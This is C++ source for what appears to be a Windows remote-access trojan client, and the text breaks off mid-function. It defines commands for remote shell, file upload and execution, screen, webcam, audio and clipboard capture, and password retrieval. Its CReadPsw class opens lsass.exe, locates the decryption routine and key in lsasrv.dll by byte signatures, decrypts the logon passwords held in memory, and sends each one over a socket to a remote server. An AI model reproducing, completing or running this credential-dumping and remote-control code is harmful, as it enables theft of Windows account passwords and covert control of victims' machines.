Work in progress

// ReadBridge.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _WINSOCK_DEPCRECATED
#include "ReadBridge.h"
#include "winternl.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif

class CModuleSocket
{
public:
    CModuleSocket(void);
    ~CModuleSocket(void);

    UINT32 ConnectServer(IN const char* pIpAddr, OUT SOCKET* pSocket, OUT bool* pbSuccess);  //Á¬½Ó·þÎñÆ÷

    UINT32 SendCommand(IN const SOCKET socket,
        IN char* szBuf,
        IN int bytes,
        OUT bool* pbSuccess);  //·¢ËÍÏûÏ¢

    UINT32 RecvCommand(IN const SOCKET socket,
        OUT char* szBuf,
        OUT int bytes,
        OUT bool *pbSuccess);   //½ÓÊÜÏûÏ¢

    void Clean();

public:
    UINT  m_nPort;   //Á¬½Ó¶Ë¿Ú
};

#pragma once
#include <windows.h>

//Êý¾Ý´«ÊäµÄ»º³åÇø´óС
#define CONTEXT_BUF_SIZE   (1024 * 4)
//IPµØÖ·»º³åÇø´óС
#define IPADDR_SIZE  32
//´ÓÍøÒ³»ñÈ¡IPµØÖ·µÄÐÅÏ¢»º³åÇø
#define WEBSITE_BUF_SIZE  512
//ÆÁÄ»´«ÊäµÄ»º³åÇø´óС
#define SCREEN_BUF_SIZE  4030
//ÊÓÆÁ´«Ê仺³åÇø´óС
#define VIDEO_BUF_SIZE   4020
//ÓïÒô´«Ê仺³åÇø´óС
#define AUDIO_BUF_SIZE   4078
//¼ôÌù°å´«Ê仺³åÇø´óС
#define CLIPBOARD_BUF_SIZE   4078

//---------------------------------------------------
//Ö¸ÁîµÄºê¶¨Òå

#define CMD_SHAKEHAND      0x01  //ÎÕÊÖÑéÖ¤
#define CMD_SYSINFO        0x02  //ϵͳÐÅÏ¢
#define CMD_DISKINFO       0x03  //´ÅÅÌÐÅÏ¢
#define CMD_FILELIST       0x04  //Îļþ¼ÐÐÅÏ¢
#define CMD_DOWNLOAD       0x05  //ÎļþÏÂÔØ
#define CMD_UPLOAD         0x06  //ÎļþÉÏ´«
#define CMD_FILEUPLOAD     0x07  //ÎļþÊý¾ÝÉÏ´«
#define CMD_FILEEXEC       0x08  //ÎļþÖ´ÐÐ
#define CMD_REFRESH        0x09  //Ë¢ÐÂ
#define CMD_FOLDER_CREATE  0x10  //´´½¨Ä¿Â¼(Îļþ¼Ð)
#define CMD_FILE_DEL       0x11  //Îļþ£¨¼Ð£©É¾³ý
#define CMD_FILE_COPY      0x12  //ÎļþµÄ¸´ÖÆ
#define CMD_FILE_PASTE     0x13  //ÎļþµÄÕ³Ìù
#define CMD_FILE_RENAME    0x14  //Îļþ(¼Ð)ÖØÃüÃû
#define CMD_ATTRIBUTE      0x15  //ÊôÐÔ
#define CMD_TELNET         0x16  //¿ªÆôÔ¶³ÌÖÕ¶Ë
#define CMD_COMMOND        0x17  //·¢ËÍÃüÁî
#define CMD_CHATMSG        0x18  //ÁÄÌìÏûÏ¢
#define CMD_PROGRESS       0x19  //½ø³Ì¹ÜÀí
#define CMD_PROC_TASKKILL  0x20  //¹Ø±Õ½ø³Ì
#define CMD_SCREEN         0x21  //ÆÁÄ»²é¿´
#define CMD_GETPWD         0x22  //»ñȡϵͳµÄÕʺÅÃÜÂë
#define CMD_VIDEO_VIEW     0x23  //ÊÓÆÁ²é¿´
#define CMD_OPERATOR       0x24  //¹Ø»ú/×¢Ïú/ÖØÆô
#define CMD_AUDIO          0x25  //ÓïÒô¼àÌý
#define CMD_BROADCAST      0x26  //Ô¶³ÌÃüÁî¹ã²¥
#define CMD_DESKTOP        0x27  //×ÀÃæ¹ÜÀí
//-----------------------------------------------------

typedef struct tagMSGINFO //´«ÊäÏûÏ¢½á¹¹Ìå
{
    int Msg_id;
    BYTE context[CONTEXT_BUF_SIZE];
}MSGINFO_S;

typedef struct tagSYSTEMINFO  //²Ù×÷ϵͳÐÅÏ¢
{
    char szWANIP[IPADDR_SIZE];    //¹«ÍøIPµØÖ·
    char szLocalIP[IPADDR_SIZE];  //±¾»úIPµØÖ·
    char hostName[255];   //¼ÆËã»úÃû
    bool Cam; //ÉãÏñÍ·
    int OSVer;  //²Ù×÷ϵͳ°æ±¾
    wchar_t szCPUInfo[MAX_PATH]; //cpuÐÅÏ¢
    DWORD dwDiskSize;  //Ó²ÅÌÐÅÏ¢
}SYSTEMINFO_S;

typedef struct tagDRIVER  //´ÅÅÌÐÅÏ¢
{
    wchar_t disk;    //´ÅÅÌÃû
    double dwTotal;   //´ÅÅ̵ĴóС
    double dwFree;    //Ê£Óà¿Õ¼ä
    int nType;  //ÀàÐÍ
}DRIVER_S;

typedef struct tagFILEINFO      //ÎļþÐÅÏ¢
{
    TCHAR szFileName[MAX_PATH]; //ÎļþÃû
    int nType;                  //ÎļþÀàÐÍ(Îļþ\Îļþ¼Ð)
    __int64 size;               //Îļþ´óС
}FILEINFO_S;

typedef struct tagTEMPSTRUCT  //ÔÚÎļþÏÂÔعý³ÌÖеÄÁÙʱ½á¹¹Ìå
{
    DWORD cFileInfo;      //CFileInfoÀàµÄÖ¸Õë
    SOCKET l_Socket;      //socket¶ÔÏó
    BYTE context[MAX_PATH]; //Îļþ·¾¶
}TEMPSTRUCT;

typedef struct tagDOWNFILEDATA   //Îļþ´«ÊäÊý¾Ý¿é½á¹¹
{
    BYTE context[512];  //¿éÊý¾ÝµÄ´óС
    UINT size;          //Îļþ´óС
    UINT nCount;        //´ÎÊý£¬ÓÃÓÚ½ø¶ÈÌõµÄÏÔʾ
    bool bFlag;         //ÎļþÊÇ·ñ´«ÊäÍê±Ï
}DOWNFILEDATA_S;

typedef struct tagFILEEXECINFO  //ÎļþÖ´Ðнá¹ûÐÅÏ¢
{
    wchar_t szFilePath[MAX_PATH];  //ÎļþÃû
    bool bSuccess;              //Ö´Ðнá¹û
}FILEEXECINFO_S;

typedef struct tagFILEDELSTRUCT  //Îļþ£¨¼Ð£©É¾³ý´«µÝÏ̵߳ĽṹÌå
{
    DWORD cDiskInfo;          //CDiskÀàµÄÖ¸Õë
    SOCKET l_Socket;          //socket¶ÔÏó
    FILEINFO_S tagFileInfo;  //ÎļþÀàÐͽṹÌå
}FILEDELSTRUCT_S;

typedef struct tagFILECOPY    //Îļþ¸´Öƽá¹ûÐÅÏ¢
{
    wchar_t szFilePath[MAX_PATH];  //Îļþȫ·¾¶
    wchar_t szFileName[MAX_PATH];  //ÎļþÃû
    bool bTag;                   //ÊÇ·ñ·¢ËÍÍê±Ï
}FILECOPY_S;

typedef struct tagATTRIBUTE   //ÊôÐÔ
{
    wchar_t szFilePath[MAX_PATH];  //ÎļþËùÔÚµÄĿ¼
    wchar_t szFileName[MAX_PATH];  //ÎļþÃû
    int nType;                     //Îļþ(¼Ð)ÀàÐÍ
    SYSTEMTIME sysCreateTime;      //´´½¨Ê±¼ä
    SYSTEMTIME sysModifyTime;      //ÐÞ¸Äʱ¼ä
    SYSTEMTIME sysVisitTime;       //·ÃÎÊʱ¼ä
    bool bArchive;                 //´æµµ
    bool bReadOnly;                //Ö»¶Á
    bool bHide;                    //Òþ²Ø
    bool bSystem;                  //ϵͳ
}ATTRIBUTE_S;

typedef struct tagCMD       //CMDÃüÁîÐÅÏ¢
{
    int flag;            //½á¹¹Ìå±£Áô×Ö¶Î
    char command[1024];  //ÃüÁîÐÐ
}COMMOND_S;

typedef struct tagCHATMSG   //ÁÄÌìÏûÏ¢
{
    bool bfirstSend;   //ÊÇ·ñµÚÒ»´Î·¢ËÍÐÅÏ¢
    bool bClose;  //ÊÇ·ñ¹Ø±Õ
    wchar_t szChatMsg[1024];  //ÁÄÌìÄÚÈÝ
}CHATMSG_S;

typedef struct tagPROGRESS  //½ø³ÌÁбíÐÅÏ¢
{
    wchar_t szProName[MAX_PATH];   //½ø³ÌÃû
    DWORD nPid;            //½ø³ÌIDºÅ
    int nThreadCount;    //Ïß³Ì×ÜÊý
    int nLevel;          //½ø³Ì¼¶±ð
    wchar_t szProPath[MAX_PATH];  //½ø³Ì·¾¶
    int nTag;     //½áÊøµô½ø³ÌÊDz»Êdzɹ¦ÁË(±£Áô¹Ø¼ü×Ö)
}PROGRESS_S;

typedef struct tagBMPHEADINFO  //BMPλͼͷÐÅÏ¢
{
    BITMAPINFO tagBitmapInfo;   //λͼÐÅÏ¢
}BMPHEADINFO_S;

typedef struct tagBMPDATA  //BMPͼÏñÊý¾Ý
{
    BITMAPINFO bmpinfo;  //λͼÐÅÏ¢
    int Id;
    bool bShow;  //ÊÇ·ñ¿ÉÒÔÏÔʾͼÏñ
    int Size;
    int HeadSize;
    UINT Begin;
    BYTE Data[SCREEN_BUF_SIZE];   //ÉÏÃæµÄ½á¹¹Ìå´óСÊÇ64 + 4030 = 4094 < 4 * 1024
}BMPDATA_S;

typedef struct tagREADPSWDATA  //ÖØÒªµÄϵͳÕʺźÍÃÜÂë
{
    wchar_t szUserName[250];  //ÕʺÅ
    wchar_t szUserPwd[250];   //ÃÜÂë
    wchar_t szDomain[250];    //Óò
    wchar_t szErrorMsg[50];   //´íÎóÐÅÏ¢
}READPSWDATA_S;

typedef struct tagVIDEODATA  //ÊÓÆÁÊý¾Ý
{
    BITMAPINFO bmpinfo;  //λͼÐÅÏ¢
    int Id;
    bool bShow;         //ÊÇ·ñ¿ÉÒÔÏÔʾͼÏñ
    DWORD Size;         //Êý¾Ý´óС 
    int HeadSize;       //ÊÓÆÁÍ·Êý¾Ý
    UINT Begin;         //µÚ¼¸´Î·¢ËÍ
    int dwExtend1;     //ѹËõÇ°³¤¶È
    int dwExtend2;     //ѹËõºó³¤¶È
    BYTE Data[VIDEO_BUF_SIZE];   //ÉÏÃæµÄ½á¹¹Ìå´óСÊÇ74 + 4020 = 4094 < 4 * 1024
}VIDEODATA_S;

typedef struct tagVIDEOTEMP
{
    DWORD cThis;
    SOCKET l_Socket;
}VIDEOTEMP_S;

typedef struct tagOPERATOR  //¹Ø»ú/×¢Ïú/ÖØÆô
{
    int nType;  //ÀàÐÍ£¨0--±íʾ¹Ø»ú£¬ 1--±íʾעÏú£¬ 2--±íʾÖØÆô£©
}OPERATOR_S;

typedef struct tagAUDIODATA  //ÓïÒôÊý¾Ý
{
    int Id;
    bool bRead;  //ÊÇ·ñ½ÓÊÜÍêÊý¾Ý
    DWORD dwSize;  //Êý¾Ý´óС
    UINT Begin;    //µÚ¼¸´Î·¢ËÍ
    BYTE Data[AUDIO_BUF_SIZE];  //Êý¾Ý
}AUDIODATA_S;

typedef struct tagINTERNET  //ÍøÒ³
{
    bool bDownLoad;   //ÊÇ·ñÏÂÔØÎļþ
    bool bRunExe;   //ÊÇ·ñÔËÐÐÏÂÔØÎļþ
    wchar_t szWebSite[MAX_PATH];  //ÍøÒ³µÄ·¾¶
}INTERNET_S;

typedef struct tagWNDINFO  //µ¯´°ÐÅÏ¢
{
    wchar_t szTitle[MAX_PATH];  //±êÌâ
    wchar_t szContent[MAX_PATH];  //ÄÚÈÝ
    UINT nType;    //ÀàÐÍ
}WNDINFO_S;

typedef struct tagBROADCAST  //¹ã²¥ÃüÁî
{
    bool bTag;  //±êÖ¾
    INTERNET_S tagInternet;
    WNDINFO_S tagWndInfo;
}BROADCAST_S;

typedef struct tagBROADTEMP  //ÁÙʱ½á¹¹Ìå
{
    DWORD cWorkMain;
    BROADCAST_S* pTagBroadCast;
}BROADTEMP_S;

typedef struct tagDESKTOPINFO  //×ÀÃæ¹ÜÀí
{
    int nType;  //²Ù×÷ÀàÐÍ
    bool bTag;  //²Ù×÷±ê¼Ç
}DESKTOPINFO_S;

typedef struct tagCLIPBOARD
{
    int id;
    bool bRead;  //ÊÇ·ñ½ÓÊÜÍêÊý¾Ý
    DWORD dwSize;  //Êý¾Ý´óС
    UINT Begin;    //µÚ¼¸´Î·¢ËÍ
    char Data[CLIPBOARD_BUF_SIZE];  //Êý¾Ý
}CLIPBOARD_S;
//------------------------------------------

//²Ù×÷ϵͳµÄ°æ±¾ºÅ
enum SYSVERSION
{
    OS_2000,
    OS_XP,
    OS_2003,
    OS_Vista,   //Vista°æ±¾ºÅÓë2008 serverÒ»Ñù
    OS_WIN7,
    OS_WIN8,
    OS_UNKNOWN  //δ֪²Ù×÷ϵͳ
};

//Ó²ÅÌÀàÐÍ
enum DISKTYPE
{
    DISK_FIXED,        //¹Ì¶¨Ó²ÅÌ
    DISK_REMOVABLE,    //Òƶ¯Ó²ÅÌ
    DISK_CDROM         //CD-ROM
};

//ÎļþÀàÐÍ
enum FILEATTR
{
    FILE_ATTR,    //Îļþ
    FOLDER_ATTR,   //Îļþ¼Ð
    FILE_TAG       //±ê־룬±íʾÎļþÐÅÏ¢ÒѾ­·¢ËÍÍê±Ï
};

//½ø³ÌÓÅÏȼ¶
enum PROGRESS_LEVEL
{
    UNKNOWN_LEVEL,    //δ֪
    NORMAL,           //±ê×¼
    IDLE,             //µÍ
    REALTIME,         //ʵʱ
    HIGH,             //¸ß
    ABOVENORMAL,      //¸ßÓÚ±ê×¼
    BELOWNORMAL       //µÍÓÚ±ê×¼
};

//×ÀÃæ¹ÜÀíÀàÐÍ
enum DESKTOP_TYPE
{
    MOUSE_MOVE,   //Êó±êÒƶ¯
    DESKTOP_ICON,  //×ÀÃæͼ±ê
    TASKBAR,      //ÈÎÎñ¹ÜÀí
    CLIPBOARD    //¼ôÌù°å
};

#pragma once
#include <windows.h>
#include <stdio.h>

//»ñÈ¡¼ÆËã»úϵͳÕʺš¢ÃÜÂëºÍµÇ¼Óò

#define MEM_SIZE 0x1000
#define WIN7     0x0100
#define WINXP    0x0101
#define WIN03    0x0102

typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;

typedef struct _SECURITY_LOGON_SESSION_DATA {
    ULONG Size;
    LUID LogonId;
    LSA_UNICODE_STRING UserName;
    LSA_UNICODE_STRING LogonDomain;
    LSA_UNICODE_STRING AuthenticationPackage;
    ULONG LogonType;  ULONG Session;
    PSID Sid;
    LARGE_INTEGER LogonTime;
    LSA_UNICODE_STRING LogonServer;
    LSA_UNICODE_STRING DnsDomainName;
    LSA_UNICODE_STRING Upn;
} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;


typedef int(__stdcall * pNTQUERYPROCESSINFORMATION)(HANDLE, DWORD, PVOID, ULONG, PULONG);
typedef int(__stdcall * pLSAENUMERATELOGONSESSIONS)(PULONG, PLUID *);
typedef int(__stdcall * pDECRIPTFUNC)(PBYTE, DWORD);
typedef int(__stdcall * pLSAFREERETURNBUFFER)(PVOID);
typedef int(__stdcall * pLSAGETLOGONSESSIONDATA)(PLUID, PSECURITY_LOGON_SESSION_DATA *);


// ½âÃܺ¯ÊýÌØÕ÷Âë(lsasrv.text)
static BYTE DecryptfuncSign[] = { 0x48, 0x83, 0xEC, 0x68, 0x4C, 0x8b, 0x15, 0xa5, 0xd6, 0x16, 0X00 };
static BYTE DecryptfuncSign2[] = { 0x8B, 0xFF, 0x55, 0x8B,
0xEC, 0x6A, 0x00, 0xFF,
0x75, 0x0C, 0xFF, 0x75,
0x08, 0xE8 };

// ÃÜÔ¿KEYÏà¹ØµÄ¹Ø¼üµØÖ·ÌØÕ÷Âë(lsasrv.text)
static BYTE DecryptKeySign_WIN7[] = { 0x33, 0xD2, 0xC7, 0x45, 0xE8, 0x08, 0x00, 0x00, 0x00, 0x89, 0x55, 0xE4 };
static BYTE DecryptKeySign_XP[] = { 0x8D, 0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0x50, 0xFF, 0x75, 0x10, 0xFF, 0x35 };

// ÃÜÎĹؼüÖ¸ÕëÌØÕ÷Âë(wdigest.text)
static BYTE KeyPointerSign[] = { 0x8B, 0x45, 0x08, 0x89, 0x08, 0xC7, 0x40, 0x04 };

// È«¾Ö±äÁ¿
static BYTE MemBuf[MEM_SIZE], SecBuf[0x200], ThirdBuf[0x200];
static BYTE Encryptdata[0x100];

class CReadPsw
{
public:
    CReadPsw(void);
    ~CReadPsw(void);
public:
    void CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind);
    CString CharToCString(IN char* result);
    HANDLE GetProcessHandleByName(const TCHAR *szName);
    LPVOID GetEncryptListHead();
    void printSessionInfo(pLSAGETLOGONSESSIONDATA LsaGetLogonSessionData,
        pLSAFREERETURNBUFFER LsaFreeReturnBuffer,
        PLUID pCurLUID,
        OUT READPSWDATA_S* tagRPWDATA);
    PBYTE search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize);
    int EnableDebugPrivilege();

    void SendSecurityPwd(IN SOCKET sock);   //µÃµ½²¢·¢ËÍ»ñÈ¡µ½µÄ¹ÜÀíÔ±ÕʺźÍÃÜÂë
private:
    CModuleSocket m_moduleSocket;
};











#include <iostream>
#include "Ws2tcpip.h"


CModuleSocket::CModuleSocket(void)
{
}

CModuleSocket::~CModuleSocket(void)
{
}

UINT32 CModuleSocket::ConnectServer(IN const char* pIpAddr, OUT SOCKET* pSocket, OUT bool* pbSuccess)
{
    UINT32 result = ERROR_SUCCESS;
    if (NULL == pIpAddr || NULL == pbSuccess)
    {
        result = ERROR_INVALID_PARAMETER;
        return result;
    }

    bool bSuccess = true;
    SOCKET socket = INVALID_SOCKET;
    try
    {
        WSADATA wsadata = { 0 };
        int iRet = WSAStartup(MAKEWORD(2, 2), &wsadata);
        if (iRet)
        {
            std::cout << "Unable to start" << std::endl;
            result = WSAGetLastError();
            bSuccess = false;
            throw result;
        }
        socket = ::socket(AF_INET, SOCK_STREAM, 0);
        if (INVALID_SOCKET == socket)
        {
            std::cout << "socket³õʼ»¯Ê§°Ü!" << std::endl;
            result = WSAGetLastError();
            bSuccess = false;
            throw result;
        }
        sockaddr_in serverAddr;
        serverAddr.sin_family = AF_INET;
        //serverAddr.sin_addr.S_un.S_addr = inet_addr(pIpAddr);
        InetPton(AF_INET, PCWSTR(pIpAddr), &serverAddr.sin_addr.S_un.S_addr);
        serverAddr.sin_port = htons(m_nPort);

        iRet = connect(socket, (sockaddr*)&serverAddr, sizeof(sockaddr_in));
        if (SOCKET_ERROR == iRet)
        {
            std::cout << "Á¬½Ó·þÎñÆ÷¶Ëʧ°Ü!" << std::endl;
            result = WSAGetLastError();
            bSuccess = false;
            throw result;
        }
        else
        {
            std::cout << "Á¬½Ó·þÎñÆ÷³É¹¦!" << std::endl;
            *pSocket = socket;
        }
    }
    catch (UINT32)
    {
    }
    *pbSuccess = bSuccess;
    return result;
}

UINT32 CModuleSocket::SendCommand(IN const SOCKET socket,
    IN char* szBuf,
    IN int bytes,
    OUT bool* pbSuccess)
{
    UINT32 result = ERROR_SUCCESS;
    if (INVALID_SOCKET == socket || 0 == bytes || NULL == pbSuccess)
    {
        result = ERROR_INVALID_PARAMETER;
        return result;
    }
    bool bSuccess = true;
    const char* pCurBuf = szBuf;  //µ±Ç°ÒѾ­·¢ËÍÍê±ÏµÄ»º³åÇøÊý¾Ý
    try
    {
        while (bytes > 0)   //ûÓз¢ËÍÍê±Ï
        {
            int nTotal = send(socket, (char*)pCurBuf, bytes, 0);
            if (SOCKET_ERROR == nTotal)  //·¢ËÍʧ°Ü
            {
                result = WSAGetLastError();
                bSuccess = false;
                throw result;
            }
            else if (0 == nTotal)  //·¢ËÍÍê±Ï
            {
                break;
            }
            bytes -= nTotal;
            pCurBuf += nTotal;
        }
    }
    catch (UINT32)
    {
    }
    *pbSuccess = bSuccess;
    return result;
}

UINT32 CModuleSocket::RecvCommand(IN const SOCKET socket, OUT char* szBuf, OUT int bytes, OUT bool *pbSuccess)
{
    UINT32 result = ERROR_SUCCESS;
    if (INVALID_SOCKET == socket || NULL == pbSuccess)
    {
        result = ERROR_INVALID_PARAMETER;
        return result;
    }
    bool bSuccess = true;
    char* pCurBuf = szBuf;  //µ±Ç°ÒѾ­·¢ËÍÍê±ÏµÄ»º³åÇøÊý¾Ý
    try
    {
        while (bytes > 0)   //ûÓз¢ËÍÍê±Ï
        {
            int nTotal = recv(socket, (char*)pCurBuf, bytes, 0);
            if (SOCKET_ERROR == nTotal)  //·¢ËÍʧ°Ü
            {
                result = WSAGetLastError();
                bSuccess = false;
                throw result;
            }
            else if (0 == nTotal)  //·¢ËÍÍê±Ï
            {
                break;
            }
            bytes -= nTotal;
            pCurBuf += nTotal;
        }
    }
    catch (UINT32)
    {
    }
    *pbSuccess = bSuccess;
    return result;
}

void CModuleSocket::Clean()
{
    ::WSACleanup();
}


























CReadPsw::CReadPsw(void)
{
}

CReadPsw::~CReadPsw(void)
{
}

void CReadPsw::SendSecurityPwd(IN SOCKET sock)
{
    HINSTANCE hModlsasrv;
    DWORD     LogonSessionCount, i;
    SIZE_T dwBytesRead;
    PLUID     LogonSessionList, pCurLUID, pListLUID;
    BYTE      EncryptBuf[0x200];
    HANDLE    hProcess;


    if (EnableDebugPrivilege() != 1)
        puts("EnableDebugPrivilege fail !");

    hProcess = GetProcessHandleByName(_T("lsass.exe"));
    if (hProcess == NULL)
    {
        //      puts("GetProcessHandleByName fail !") ;
        //      puts("Try To Run As Administrator ...") ;
        return;
    }

    OSVERSIONINFO VersionInformation;
    DWORD dwVerOff = 0, osKind = -1;

    // °æ±¾ÅжÏ
    memset(&VersionInformation, 0, sizeof(VersionInformation));
    VersionInformation.dwOSVersionInfoSize = sizeof(VersionInformation);
    VersionInformation.dwMajorVersion = 6;
    //GetVersionEx(&VersionInformation);
    if (VersionInformation.dwMajorVersion == 5)
    {
        if (VersionInformation.dwMinorVersion == 1)
        {
            dwVerOff = 36;
            osKind = WINXP;
        }
        else if (VersionInformation.dwMinorVersion == 2)
        {
            dwVerOff = 28;
            osKind = WIN03;
        }
    }
    else if (VersionInformation.dwMajorVersion == 6)
    {
        dwVerOff = 32;
        osKind = WIN7;
    }

    if (osKind == -1)
    {
        printf("[Undefined OS version]  Major: %d Minor: %d\n", \
            VersionInformation.dwMajorVersion, VersionInformation.dwMinorVersion);
        CloseHandle(hProcess);
        return;
    }

    // »ñµÃ½âÃܺ¯ÊýµØÖ·
    pDECRIPTFUNC  DecryptFunc;
    hModlsasrv = LoadLibrary(_T("lsasrv.dll")); //schannel.dll

    if (hModlsasrv == NULL) {
        //std::cout << "cannot locate the .dll file" << std::endl;
        wchar_t *s = NULL;
        FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
            NULL, WSAGetLastError(),
            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
            (LPWSTR)&s, 0, NULL);
        fprintf(stderr, "%S\n", s);
        LocalFree(s);
        return;
    }
    else {
        std::cout << "lsasrv Library Loaded" << std::endl;
    }

    DecryptFunc = (pDECRIPTFUNC)search_bytes((PBYTE)hModlsasrv, (PBYTE)0x7fffdddd, DecryptfuncSign, sizeof(DecryptfuncSign));

    // »ñµÃÃÜÎÄÁ´±íÍ·µØÖ·
    LPVOID  ListHead;
    ListHead = GetEncryptListHead();

    // »ñµÃÈ«¾ÖÊý¾Ý(lsasrv.data¼°½âÃÜKEYÏà¹ØµÄÊý¾Ý)
    CopyKeyGlobalData(hProcess, hModlsasrv, osKind);

    HINSTANCE                   hModSecur32;
    pLSAENUMERATELOGONSESSIONS  LsaEnumerateLogonSessions;
    pLSAGETLOGONSESSIONDATA     LsaGetLogonSessionData;
    pLSAFREERETURNBUFFER        LsaFreeReturnBuffer;

    hModSecur32 = LoadLibrary(_T("Secur32.dll"));
    LsaEnumerateLogonSessions = (pLSAENUMERATELOGONSESSIONS)GetProcAddress(hModSecur32, "LsaEnumerateLogonSessions");
    LsaGetLogonSessionData = (pLSAGETLOGONSESSIONDATA)GetProcAddress(hModSecur32, "LsaGetLogonSessionData");
    LsaFreeReturnBuffer = (pLSAFREERETURNBUFFER)GetProcAddress(hModSecur32, "LsaFreeReturnBuffer");

    LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList);
    MSGINFO_S tagMsgInfo;
    READPSWDATA_S tagRPWDATA;
    bool bSuccess = true;

    for (i = 0; i < LogonSessionCount; i++)  //Ñ­»·±éÀúµ±Ç°ÕʺÅÐÅÏ¢
    {
        memset(&tagMsgInfo, 0, sizeof(MSGINFO_S)); //³õʼ»¯½á¹¹ÌåÐÅÏ¢
        memset(&tagRPWDATA, 0, sizeof(READPSWDATA_S));
        tagMsgInfo.Msg_id = CMD_GETPWD;

        pCurLUID = (PLUID)((DWORD)LogonSessionList + sizeof(LUID) * i);
        // ´òÓ¡Ïà¹ØÐÅÏ¢
        printSessionInfo(LsaGetLogonSessionData, LsaFreeReturnBuffer, pCurLUID, &tagRPWDATA);  //»ñÈ¡µÇ¼ÃûºÍµÇ¼Óò
                                                                                               // ±éÀúÁ´Ê½½á¹¹²éÕÒµ±Ç°µÄLUID
        ReadProcessMemory(hProcess, ListHead, EncryptBuf, 0x100, &dwBytesRead);
        while (*(DWORD *)EncryptBuf != (DWORD)ListHead)
        {
            ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)EncryptBuf), EncryptBuf, 0x100, &dwBytesRead);
            pListLUID = (LUID *)((DWORD)EncryptBuf + 0x10);
            if ((pListLUID->LowPart == pCurLUID->LowPart) && (pListLUID->HighPart == pCurLUID->HighPart))
            {
                break;
            }
        }
        if (*(DWORD *)EncryptBuf == (DWORD)ListHead)
        {
            puts("Specific LUID NOT found\n");
            wchar_t szErrorMsg[] = _T("Specific LUID NOT found");
            wsprintfW(tagRPWDATA.szErrorMsg, szErrorMsg);   //´íÎóÐÅÏ¢
        }
        else
        {
            DWORD   pFinal = 0;
            DWORD   nBytes = 0;
            LPVOID  pEncrypt;
            pFinal = (DWORD)(pListLUID)+dwVerOff;
            nBytes = *(WORD *)((DWORD)pFinal + 2);            // ÃÜÎÄ´óС
            pEncrypt = (LPVOID)(*(DWORD *)((DWORD)pFinal + 4)); // ÃÜÎĵØÖ·(Remote)

            memset(Encryptdata, 0, sizeof(Encryptdata));
            ReadProcessMemory(hProcess, (LPVOID)pEncrypt, Encryptdata, nBytes, &dwBytesRead);

            // µ÷ÓýâÃܺ¯Êý½âÃÜ
            DecryptFunc(Encryptdata, nBytes);
            // ´òÓ¡ÃÜÂëÃ÷ÎÄ
            printf("password: %S\n\n", Encryptdata);
            wsprintfW(tagRPWDATA.szUserPwd, _T("%s"), Encryptdata);
        }
        memcpy((char*)tagMsgInfo.context, (char*)&tagRPWDATA, sizeof(READPSWDATA_S));
        m_moduleSocket.SendCommand(sock, (char*)&tagMsgInfo, sizeof(MSGINFO_S), &bSuccess);
    }

    CloseHandle(hProcess);
    LsaFreeReturnBuffer(LogonSessionList);

    FreeLibrary(hModlsasrv);
    FreeLibrary(hModSecur32);
    if (osKind == WIN7)
    {
        FreeLibrary(GetModuleHandle(_T("bcrypt.dll")));
        FreeLibrary(GetModuleHandle(_T("bcryptprimitives.dll")));
    }
}

void CReadPsw::CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind)
{
    PIMAGE_SECTION_HEADER pSectionHead;
    PIMAGE_DOS_HEADER     pDosHead;
    PIMAGE_NT_HEADERS     pPEHead;
    DWORD                 dwBytes;
    SIZE_T dwBytesRead;
    LPVOID                pdataAddr, pDecryptKey, DecryptKey, pEndAddr;

    pDosHead = (PIMAGE_DOS_HEADER)hModlsasrv;
    pSectionHead = (PIMAGE_SECTION_HEADER)(pDosHead->e_lfanew + (DWORD)hModlsasrv + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER));

    pdataAddr = (LPVOID)((DWORD)pSectionHead->VirtualAddress + (DWORD)hModlsasrv);
    dwBytes = ((DWORD)(pSectionHead->Misc.VirtualSize) / 0x1000 + 1) * 0x1000;
    ReadProcessMemory(hProcess, pdataAddr, pdataAddr, dwBytes, &dwBytesRead);

    pPEHead = (PIMAGE_NT_HEADERS)(pDosHead->e_lfanew + (DWORD)hModlsasrv);
    pEndAddr = (LPVOID)(pPEHead->OptionalHeader.SizeOfImage + (DWORD)hModlsasrv);

    switch (osKind)
    {
    case WINXP:
    case WIN03:
    {
        pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr, \
            DecryptKeySign_XP, sizeof(DecryptKeySign_XP));

        pDecryptKey = (LPVOID)*(DWORD *)((DWORD)pDecryptKey + sizeof(DecryptKeySign_XP));
        ReadProcessMemory(hProcess, (LPVOID)pDecryptKey, &DecryptKey, 4, &dwBytesRead);
        // DecryptKey ÊÇÓë½âÃÜÏà¹ØµÄ¹Ø¼üµØÖ·
        ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead);
        pdataAddr = (LPVOID)pDecryptKey;
        *(DWORD *)pdataAddr = (DWORD)MemBuf;

        break;
    }
    case WIN7:
    {
        // WIN7 Ðèµ÷ÓÃÕâÁ½¸öDLLÖеĺ¯Êý½øÐнâÃÜ
        LoadLibrary(_T("bcrypt.dll"));
        LoadLibrary(_T("bcryptprimitives.dll"));

        pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr, \
            DecryptKeySign_WIN7, sizeof(DecryptKeySign_WIN7));
        pDecryptKey = (LPVOID)(*(DWORD *)((DWORD)pDecryptKey - 4));

        // DecryptKey ÊÇÓë½âÃÜÏà¹ØµÄ¹Ø¼üµØÖ·
        ReadProcessMemory(hProcess, pDecryptKey, &DecryptKey, 0x4, &dwBytesRead);

        ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead);
